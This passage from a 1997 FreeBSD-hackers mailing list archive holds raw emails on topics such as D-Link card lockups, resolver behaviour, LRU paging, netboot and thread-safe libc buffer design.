root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA16773 for hackers-outgoing; Mon, 15 Sep 1997 11:57:53 -0700 (PDT) Received: from onyx.atipa.com (user27585@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA16754 for ; Mon, 15 Sep 1997 11:57:50 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 15 Sep 1997 19:01:31 -0000 Date: Mon, 15 Sep 1997 13:01:31 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: Jason Lixfeld cc: freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: Re: DLINK 21140 Card In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The D-Link cards I am familiar with have a nice chipset, but a piss-poor connector. Instead of using all 8 pins for the RJ-45 connector, they try to save about $.0005 per card by only using the 4 TX/RX pins. This results in lots of intermittant connections. An intermittant connection on a switching medium (10/100) can cause lock-ups like you are reporting. We discontinued carrying that card for this exact reason. My recommendation would be to make sure you have good strain-relief on the cable, and lateral support if possible. Or replace the card... If it is not a physical connection problem, you may have buffer overflows. Do you get any erros in /var/log/messages? Does dmesg report "deo timeout"? Kevin On Sun, 14 Sep 1997, Jason Lixfeld wrote: > I have FreeBSD 2.2.2, DLink DEC Tulip 21140AE REV-2C Chipset with the > if_de.c from Matt Thomas' site, 3am-software.com. I have tried with the > 21140AC REV-1B Chipset, and am getting the same problems: It's fine on a > bootup, but after a few hours, the ethernet just stops responding. Their > is still a link light on my hub, put it is not pingable, and tests from > the console are useless. ifconfig de0 shows the interface as being up, > however I'm seeing a flag "OACTIVE" and I'm not sure that is supposed to > be there. Has anyone had trouble with these cards/driver before, and does > anyone have a solution? > > TiA.. > > > From owner-freebsd-hackers Mon Sep 15 12:01:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA17036 for hackers-outgoing; Mon, 15 Sep 1997 12:01:41 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA17031 for ; Mon, 15 Sep 1997 12:01:38 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id MAA08736; Mon, 15 Sep 1997 12:01:38 -0700 (PDT) To: Julian Elischer cc: hackers@FreeBSD.ORG Subject: Re: Another bright idea.. In-reply-to: Your message of "Mon, 15 Sep 1997 10:59:26 PDT." <341D777E.446B9B3D@whistle.com> Date: Mon, 15 Sep 1997 12:01:37 -0700 Message-ID: <8732.874350097@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This sounds like the more general (and often discussed) problem of trying to organize loose "projects" for people approaching to project with a desire to help out but no clear objectives of their own to push (which is usually how most of the really serious development occurs). In such a project farm, you'd have your "Grand Projects" for the truly ambitious or well-staffed ("we're the entire senior CS class of Singapore University and we're looking for a final project"), "Middle projects" that someone could take on solo and still be challenged by it, and "Grunt work" projects like changing all the bogus EOF's to -1. :) I've already asked our contract webmistress if she has any interest in putting something CGI-ish together for doing this via the web server, but I haven't heard back from her yet. She may be on vacation or something. Jordan > We have many many stylistic or variable-type problems > in teh system, that are basically "mechanical changes" > > We also have a very large community of people out there who are > just learning about freeBSD, and would like > to do something useful that would allow them to learn their way around > the source tree. Maybe the following might be a good idea. > > After seeing jordan,and bruce slug it out over 'types' > and seeing thousands of commites re: -1 -> EOF via Philip > maybe it might be possible for us to have one central place where > people could register the existance of a 'global bogon' > /src/BOGONS? > > with a suggested mechanocal fix, and then we could allow > juniour aspiring hackers, with a full source tree, to perform these > multi-mega-patches, and submit them via a quick review and then into the > tree. > > we have a great resource in the number of people who could do this > sort of thing. We should use them.. > > thought? > > julian From owner-freebsd-hackers Mon Sep 15 12:18:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA17855 for hackers-outgoing; Mon, 15 Sep 1997 12:18:02 -0700 (PDT) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA17847 for ; Mon, 15 Sep 1997 12:17:57 -0700 (PDT) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id MAA24601; Mon, 15 Sep 1997 12:17:42 -0700 (MST) From: Terry Lambert Message-Id: <199709151917.MAA24601@usr05.primenet.com> Subject: Re: Resolver broken? [Was:nfs startup - perhaps it is a problem] To: grog@lemis.com (Greg Lehey) Date: Mon, 15 Sep 1997 19:17:42 +0000 (GMT) Cc: joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG In-Reply-To: <19970915165338.14706@lemis.com> from "Greg Lehey" at Sep 15, 97 04:53:38 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I've once noticed that this did indeed help, yes. But in my case it > > was sendmail that complained it didn't find the onw host. I forgot > > the details, but i think the /etc/hosts part of the resolver library > > is broken with this. Ah, yes, i remember: sendmail apparently tries > > to lookup "${hostname}.", i.e. it calls gethostname(2), and appends a > > dot to force DNS to not use the search order. The /etc/hosts part of > > the resolver library cannot handle this unless the host is listed with > > the trailing dot in /etc/hosts. I think this is a bug, and this part > > of the resolver library should just remove a trailing dot, to be > > (bug-)compatible to the DNS part. > > Been there, done that. I'd categorize this as a sendmail bug, > however. There's nothing in the /etc/hosts world which suggests that > a . at the end of a name is legal. I agree that it's the resolver library that's broken, not sendmail. The sendmail program is attempting a perfectly legal thing: it does not want the local domain added to the fully qualified host name. It is up to the resolver library to provide the transparency this requires. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Sep 15 12:19:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA17935 for hackers-outgoing; Mon, 15 Sep 1997 12:19:30 -0700 (PDT) Received: from onyx.atipa.com (user28075@ns.atipa.com [208.128.22.10]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA17927 for ; Mon, 15 Sep 1997 12:19:26 -0700 (PDT) Received: (qmail-queue invoked by uid 1018); 15 Sep 1997 19:23:10 -0000 Date: Mon, 15 Sep 1997 13:23:09 -0600 (MDT) From: Atipa X-Sender: freebsd@dot.ishiboo.com To: Sean Eric Fagan cc: hackers@FreeBSD.ORG Subject: Re: I20 to cause problems for linux et al. (fwd) In-Reply-To: <199709151819.LAA12526@kithrup.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 15 Sep 1997, Sean Eric Fagan wrote: > In article <199709151616.LAA13343.kithrup.freebsd.hackers@argus.tfs.net> you write: > >Remember MicroChannel? > > > >A bus is as good as 3rd party manufacturing support for it. Most > >manufacturers didn't want to pay IBM, and most manufacturers think > >about the same of Mickeysoft as we do... > > Uh, sorry, hate to tell you, but I2O already has more support than MCA ever > did. > > Both uSoft and Intel now have more market control than IBM ever did in the > PC market. > > The main reason for I2O is for Intel to sell more Intel chips. Remember > that. > > And then go look at the "Slot One" (designed solely to prevent anyone else > from being able to make a compatible CPU) and the (IMEO bogus) patents Intel > has on the Merced instruction set. > Who owns a BETA VCR? I agree with the general notion that proprietary technology is RISKY, but I also see that possession is nine-tenths of the law, with Intel and MS being the possessors. Intel is still too chicken (or sly?) to leave X86 compatibility. If they wanted re-invent the PC, they would not allow others to use MMX. They still feel a need for competition. A schizm in PC compatibility would hurt them greatly. They want a nice, calm, confident, money-spending market. If anyone wants to disrupt the status quo, I'd expect it to be AMD. They are really trying hard to beat competitors to the punch, whether it is with their processor, chipset, silicon, or bus. Who knows... Kevin From owner-freebsd-hackers Mon Sep 15 12:22:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA18177 for hackers-outgoing; Mon, 15 Sep 1997 12:22:30 -0700 (PDT) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA18171 for ; Mon, 15 Sep 1997 12:22:26 -0700 (PDT) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id MAA24994; Mon, 15 Sep 1997 12:22:06 -0700 (MST) From: Terry Lambert Message-Id: <199709151922.MAA24994@usr05.primenet.com> Subject: Re: lib/libF77 and lib/libI77 To: ksmm@cybercom.net (The Classiest Man Alive) Date: Mon, 15 Sep 1997 19:22:06 +0000 (GMT) Cc: tlambert@primenet.com, jbryant@tfs.net, freebsd-hackers@FreeBSD.ORG In-Reply-To: <3.0.3.32.19970915094813.009e88d0@cybercom.net> from "The Classiest Man Alive" at Sep 15, 97 09:48:13 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > [ edit of impressive mathematical ranting ] That wasn't ranting, it was expository prose. > >This type of code desn't tend to exist in C or C++ ...at least until > >after f2c has been run on it. 8-). Even then it ends up being > >largely unreadable. 8-(. > > Good enough to make a library. ;-) Well, good. Then I won't hae to *really* rant. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Sep 15 12:25:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA18473 for hackers-outgoing; Mon, 15 Sep 1997 12:25:09 -0700 (PDT) Received: from mailhost1.BayNetworks.COM (ns2.BayNetworks.COM [134.177.3.16]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA18468 for ; Mon, 15 Sep 1997 12:25:07 -0700 (PDT) Received: from mailhost.BayNetworks.COM ([134.177.1.107] (may be forged)) by mailhost1.BayNetworks.COM (8.8.6/BNET-97/07/07-E) with ESMTP id MAA22284; Mon, 15 Sep 1997 12:24:30 -0700 (PDT) for Received: from pobox.engeast.BayNetworks.COM (pobox.corpeast.baynetworks.com [192.32.151.199]) by mailhost.BayNetworks.COM (8.8.6/BNET-97/07/07-I) with ESMTP id MAA15214; Mon, 15 Sep 1997 12:24:29 -0700 (PDT) for Posted-Date: Mon, 15 Sep 1997 12:24:29 -0700 (PDT) Received: from tuva.engeast.baynetworks.com (tuva [192.32.180.119]) by pobox.engeast.BayNetworks.COM (SMI-8.6/BNET-97/04/24-S) with ESMTP id PAA07987; Mon, 15 Sep 1997 15:24:26 -0400 for Received: from tuva.engeast.baynetworks.com (localhost [127.0.0.1]) by tuva.engeast.baynetworks.com (8.8.3/8.8.3) with ESMTP id PAA22869 for ; Mon, 15 Sep 1997 15:24:27 -0400 (EDT) Message-Id: <199709151924.PAA22869@tuva.engeast.baynetworks.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: freebsd-hackers@freebsd.org Subject: 2.2-970914-RELENG -- Sysinstall/XFree fails Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 15:24:27 -0400 From: Robert Withrow Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [btw, freebsd-stable is listed in the summary but not in the ``charters'' section of the web pages, so I didn't use it...] Attempts to use /stand/sysinstall to install XF86311 *after* the system has been installed *without* XF86311 fail. I wasn't able to coerce any more information out of sysinstall... I tried the "debug" option and got...nothing. Is this a bug or operator error? -- Robert Withrow -- (+1 508 916 8256) BWithrow@BayNetworks.com From owner-freebsd-hackers Mon Sep 15 12:26:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA18570 for hackers-outgoing; Mon, 15 Sep 1997 12:26:09 -0700 (PDT) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA18548 for ; Mon, 15 Sep 1997 12:26:03 -0700 (PDT) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id MAA25225; Mon, 15 Sep 1997 12:25:56 -0700 (MST) From: Terry Lambert Message-Id: <199709151925.MAA25225@usr05.primenet.com> Subject: Re: I20 to cause problems for linux et al. (fwd) To: jbryant@tfs.net Date: Mon, 15 Sep 1997 19:25:55 +0000 (GMT) Cc: darrenr@cyber.com.au, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199709151616.LAA13343@argus.tfs.net> from "Jim Bryant" at Sep 15, 97 11:16:42 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > hmmm... What is the Federal Trade Commission's email address? http://www.sec.gov/enforce/comctr.htm > Justice Department? How about the American Way (TM), a class-action > lawsuit, on the grounds of restraint of trade. The Infrastructure Protection Task Force can be contacted at: comments.iptf@fbi.gov It's more for fraud, though, like when someone in another state sends a SPAM claiming to be you. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Sep 15 12:30:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA18769 for hackers-outgoing; Mon, 15 Sep 1997 12:30:22 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA18752; Mon, 15 Sep 1997 12:30:02 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.7/8.7.1) id PAA14616; Mon, 15 Sep 1997 15:40:02 -0400 Date: Mon, 15 Sep 1997 15:40:01 -0400 (EDT) From: Ben Black To: Atipa cc: Jason Lixfeld , freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: Re: DLINK 21140 Card In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk this is called T4 (vs TX) and it is a simplex version of fast ethernet. On Mon, 15 Sep 1997, Atipa wrote: > > The D-Link cards I am familiar with have a nice chipset, but a piss-poor > connector. Instead of using all 8 pins for the RJ-45 connector, they try > to save about $.0005 per card by only using the 4 TX/RX pins. This > results in lots of intermittant connections. An intermittant connection > on a switching medium (10/100) can cause lock-ups like you are > reporting. We discontinued carrying that card for this exact reason. > > My recommendation would be to make sure you have good strain-relief on > the cable, and lateral support if possible. Or replace the card... > > If it is not a physical connection problem, you may have buffer > overflows. Do you get any erros in /var/log/messages? Does dmesg report > "deo timeout"? > > Kevin > > On Sun, 14 Sep 1997, Jason Lixfeld wrote: > > > I have FreeBSD 2.2.2, DLink DEC Tulip 21140AE REV-2C Chipset with the > > if_de.c from Matt Thomas' site, 3am-software.com. I have tried with the > > 21140AC REV-1B Chipset, and am getting the same problems: It's fine on a > > bootup, but after a few hours, the ethernet just stops responding. Their > > is still a link light on my hub, put it is not pingable, and tests from > > the console are useless. ifconfig de0 shows the interface as being up, > > however I'm seeing a flag "OACTIVE" and I'm not sure that is supposed to > > be there. Has anyone had trouble with these cards/driver before, and does > > anyone have a solution? > > > > TiA.. > > > > > > > From owner-freebsd-hackers Mon Sep 15 13:02:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA20763 for hackers-outgoing; Mon, 15 Sep 1997 13:02:53 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA20735 for ; Mon, 15 Sep 1997 13:02:44 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id PAA02217; Mon, 15 Sep 1997 15:02:27 -0500 (EST) From: "John S. Dyson" Message-Id: <199709152002.PAA02217@dyson.iquest.net> Subject: Re: LRU implementation In-Reply-To: <19970915125503.19344.qmail@hotmail.com> from Douglas Jardine at "Sep 15, 97 05:55:03 am" To: djardine@hotmail.com (Douglas Jardine) Date: Mon, 15 Sep 1997 15:02:27 -0500 (EST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Douglas Jardine said: > Hi, > > I had a question on the implementation of Global-LRU in FreeBSD: > What exact implementation does it employ - CLOCK, 2-handed CLOCK > or K-bit LRU? > None of the above. One way to describe it is "Not used recently very often" :-). There are 2nd chance FIFO queues also. > > The 4.3BSD book says that 4.3BSD uses 2-handed CLOCK but the 4.4BSD > book is silent on this topic. Did FreeBSD diverge from 4.4BSD in > this aspect? Does 4.4BSD use a 2-handed clock too? > FreeBSD is very different from 4.4BSD. As I remember, 4.4BSD is a FIFO with 2nd chance. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-hackers Mon Sep 15 13:49:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA24388 for hackers-outgoing; Mon, 15 Sep 1997 13:49:50 -0700 (PDT) Received: from iafnl.es.iaf.nl (uucp@iafnl.es.iaf.nl [195.108.17.20]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA24380 for ; Mon, 15 Sep 1997 13:49:47 -0700 (PDT) Received: by iafnl.es.iaf.nl with UUCP id AA06967 (5.67b/IDA-1.5 for hackers@FreeBSD.ORG); Mon, 15 Sep 1997 22:49:17 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.8.5/8.6.12) id VAA01851; Mon, 15 Sep 1997 21:41:12 +0200 (MET DST) From: Wilko Bulte Message-Id: <199709151941.VAA01851@yedi.iaf.nl> Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) To: sthaug@nethelp.no Date: Mon, 15 Sep 1997 21:41:12 +0200 (MET DST) Cc: grog@lemis.com, kpneal@pobox.com, hackers@FreeBSD.ORG In-Reply-To: <23807.874303967@verdi.nethelp.no> from "sthaug@nethelp.no" at Sep 15, 97 08:12:47 am X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-Pgp-Info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As sthaug@nethelp.no wrote... > > If you have a name server, you don't need resolv.conf. > > > > > You know exactly what "lookup file bind" does, and it does exactly > > > what you want in this situation. > > > > It keeps your host names consistent across the local net? It caches > > name server lookups across your slow Internet connection? > > > > named is your friend. [snip] > As far as I know, all modern Unixes have the possibility of using > several different methods for host name lookups. I see no reason why > such useful functionality which is already in FreeBSD should be > removed. Hear hear. It has also served my quite well multiple times, so IMHO there is nothing to be gained in removing it. Please remember people who are not on dirt cheap US T1 links... Wilko _ ____________________________________________________________________ | / o / / _ Bulte email: wilko@yedi.iaf.nl http://www.tcja.nl/~wilko |/|/ / / /( (_) Arnhem, The Netherlands - Do, or do not. There is no 'try' ----------------------------------------------------------------------Yoda From owner-freebsd-hackers Mon Sep 15 14:28:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA26599 for hackers-outgoing; Mon, 15 Sep 1997 14:28:26 -0700 (PDT) Received: from fission (fission.dt.wdc.com [129.253.40.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA26589 for ; Mon, 15 Sep 1997 14:28:22 -0700 (PDT) Received: from cygnus.dt.wdc.com (root@[172.31.1.2]) by fission (8.7.1/8.7.1) with ESMTP id OAA01549 for ; Mon, 15 Sep 1997 14:28:15 -0700 (PDT) Received: from daemon.dt.wdc.com (daemon [172.31.10.129]) by cygnus.dt.wdc.com (8.7.1/8.7.1) with ESMTP id OAA29740 for ; Mon, 15 Sep 1997 14:28:09 -0700 (PDT) Received: from localhost (kehlet@localhost) by daemon.dt.wdc.com (8.8.5/8.8.5) with SMTP id OAA00769 for ; Mon, 15 Sep 1997 14:26:26 -0700 (PDT) X-Authentication-Warning: daemon.dt.wdc.com: kehlet owned process doing -bs Date: Mon, 15 Sep 1997 14:26:25 -0700 (PDT) From: Steven Kehlet To: hackers@freebsd.org Subject: netboot for 3com 3c905 cards? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Does anyone have any information or could anyone point me in the right direction for getting ``netboot'' to work off of my 3com 3c905 (vx0) card? The existing 3com code doesn't seem to do it. I'm attempting to set up diskless Xkernel-like stations for folks doing X only--problem is all the machines here have the 3c905 cards. Thanks! Steve Kehlet From owner-freebsd-hackers Mon Sep 15 14:29:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA26658 for hackers-outgoing; Mon, 15 Sep 1997 14:29:10 -0700 (PDT) Received: from ghost.mep.ruhr-uni-bochum.de (ghost.mep.ruhr-uni-bochum.de [134.147.6.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA26648 for ; Mon, 15 Sep 1997 14:29:06 -0700 (PDT) Received: (from roberte@localhost) by ghost.mep.ruhr-uni-bochum.de (8.8.5/8.8.4) id XAA04723 for hackers@freebsd.org; Mon, 15 Sep 1997 23:29:05 +0200 (MESZ) From: Robert Eckardt Message-Id: <199709152129.XAA04723@ghost.mep.ruhr-uni-bochum.de> Subject: A crash that isn't To: hackers@freebsd.org Date: Mon, 15 Sep 1997 23:29:05 +0200 (MESZ) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, looking at lastlog today I was a bit surprised to find a machine have "crashed". [...] roberte ttyp0 134.147.6.3 Mon Sep 15 13:02 - 13:16 (00:13) reboot ~ Mon Sep 15 12:47 roberte ttyp0 134.147.6.3 Mon Sep 15 12:47 - crash (00:00) shutdown ~ Mon Sep 15 12:40 roberte ttyp1 134.147.6.3 Mon Sep 15 12:22 - shutdown (00:18) [...] In fact, the machine (running 2.2.2) was halted at 12:40. After reboot at 12:46:20 I logged in as soon as the tty became available (at 12:47) and obviously before the reboot was logged. (It would be a new record to boot the machine in less than 1 min w/o additional entries in the logs -- esp. as it waits 30s for the tape to become ready. :-) Can the late logging of reboot be responsible for this strange crash entry ? Robert -- Robert Eckardt \\ FreeBSD -- solutions for a large universe.(tm) RobertE@MEP.Ruhr-Uni-Bochum.de \\ What do you want to boot tomorrow ?(tm) http://WWW.MEP.Ruhr-Uni-Bochum.de/~roberte For PGP-key finger roberte@gluon.MEP.Ruhr-Uni-Bochum.de From owner-freebsd-hackers Mon Sep 15 15:38:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA00157 for hackers-outgoing; Mon, 15 Sep 1997 15:38:04 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA00146 for ; Mon, 15 Sep 1997 15:37:58 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id IAA26896; Tue, 16 Sep 1997 08:37:38 +1000 (EST) Date: Tue, 16 Sep 1997 08:37:38 +1000 (EST) From: "Daniel O'Callaghan" To: Robert Eckardt cc: hackers@FreeBSD.ORG Subject: Re: A crash that isn't In-Reply-To: <199709152129.XAA04723@ghost.mep.ruhr-uni-bochum.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 15 Sep 1997, Robert Eckardt wrote: > Hi, > > looking at lastlog today I was a bit surprised to find a machine have > "crashed". > [...] > roberte ttyp0 134.147.6.3 Mon Sep 15 13:02 - 13:16 (00:13) > reboot ~ Mon Sep 15 12:47 > roberte ttyp0 134.147.6.3 Mon Sep 15 12:47 - crash (00:00) > shutdown ~ Mon Sep 15 12:40 > roberte ttyp1 134.147.6.3 Mon Sep 15 12:22 - shutdown (00:18) > [...] > > In fact, the machine (running 2.2.2) was halted at 12:40. > After reboot at 12:46:20 I logged in as soon as the tty became available > (at 12:47) and obviously before the reboot was logged. > > (It would be a new record to boot the machine in less than 1 min > w/o additional entries in the logs -- esp. as it waits 30s for the > tape to become ready. :-) > > Can the late logging of reboot be responsible for this strange crash entry ? Looks like it to me. Question is, how come you managed to log in before the ~reboot entry was added. /* Daniel O'Callaghan */ /* HiLink Internet danny@hilink.com.au */ /* FreeBSD - works hard, plays hard... danny@freebsd.org */ From owner-freebsd-hackers Mon Sep 15 15:56:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA01088 for hackers-outgoing; Mon, 15 Sep 1997 15:56:18 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA01083 for ; Mon, 15 Sep 1997 15:56:06 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id BAA03577; Tue, 16 Sep 1997 01:00:49 +0200 (CEST) From: Mikael Karpberg Message-Id: <199709152300.BAA03577@ocean.campus.luth.se> Subject: Re: Memory leak in getservbyXXX? In-Reply-To: <199709150707.AAA16919@usr04.primenet.com> from Terry Lambert at "Sep 15, 97 07:07:28 am" To: tlambert@primenet.com (Terry Lambert) Date: Tue, 16 Sep 1997 01:00:49 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Terry Lambert: > > Not freeing the memory you allocate is really Bad. Exceptions ofcourse, > > where malloc() is a given. Static buffers in libraries are ugly, true. > > But it gives a very nice (simple) interface. And most of all, that's how > > the standard looks. And there's not a whole lot we can do about it. > > The threading interface and the non-threading interface should be > the same. On that, I think we agree. Yes. > But we are now at odds with the standard because of this, since > POSIX threading specified the _r functions behavioral differences > in like of threading. > > One possibility is to provide a set of library routines that take > a user buffer and fill it in. Yes, that's a possiblity, and I think many wants the _r functions too. Which leads to double code (not double source, neccesarily though) or the need to call a function from a function, which gives another prob. How do you avoid double functioncall-time per call? Maybe you don't. You can probably live with that, though, specially if the functions are close to eachother. See my next comment also. > Provide legacy compatability with inline functions that use > static buffers as the argument to the real functions. This > immediately buys the functions into being threadsafe as well, since > each reference instance will have its own buffer. Is it possible to use a static buffer in an inline function? That means that it's either in one place and all references use it, or that it's a static buffer in each reference, I guess. Neither is threadsafe. Wrapper functions (inline or not) have some problems: 1) can't return a stack-allocated space (except possibly with some gcc quirk) 2) can't use static buffers because it's not thread safe. 3) can't use malloc to get a buffer because then they are allocating but not taking care of freeing themselfs. Basically the only solution I can see to do it (no matter if you don't have *_r calls, if you call them from wrappers, or if you double the code), is to use TSD. And a TSD pointer to a malloc()ated structure which holds all the buffers seems like the fastest and safest way to do it. > Alternately, provide a posix.o in the libc.a archive that contains > unsafe stub functions. > > The threading can be done the POSIX way, where space is allocated, > used as an argument to the refexive functions, and returned, or > it can be done your way, where stub functions allocate thread > local storage onces there's such a thing as thread local storage > that can be mapped into the same location regardless of address > space. The TLS doesn't need to be mapped into the same address space, but can be. It doesn't matter since the info in the TLS will only be a single pointer, which should never be referenced outside the library, and never passed between threads inside the library. The struct itself is allocated outside TLS, but kept track on by a TLS pointer. > In general, except for compatability stub functions, externally > exported static or global data does not belong in libraries. > > > In C++ you > > can get the same nice interface, but without static buffers. You simply > > return string-class objects, etc, instead of a char * to a static buffer. > > But we're not talking C++ interface here. We're talking libc. > > It's possible to provide dynmaic scoping in C as well. It's just > high overhead. Just as it is in C++. Which is one of the reasons > the kernel isn't written in C++. But it *is* possible. Er... What is dynamic scoping? And passing objects back relies on ctors/dtors which C doesn't have. You can write almost everything in C that you can in C++ without changing the structure of the program, but it requires macros and/or extra work by the programmer, which can't be expected of him (like calling destructors by hand, which can be forgotten). [ don't have time for more right now, and FreeBSD changing standards? Likely. ] Anyone else care to comment except Terry? And Terry, you did much better now than with your last mail staying on track. :-) /Mikael From owner-freebsd-hackers Mon Sep 15 16:01:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA01326 for hackers-outgoing; Mon, 15 Sep 1997 16:01:08 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA01304 for ; Mon, 15 Sep 1997 16:00:46 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id SAA06364; Mon, 15 Sep 1997 18:46:52 -0400 Date: Mon, 15 Sep 1997 18:46:51 -0400 (EDT) From: Yonny Cardenas To: hackers@freebsd.org Subject: Interface DOWN Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: 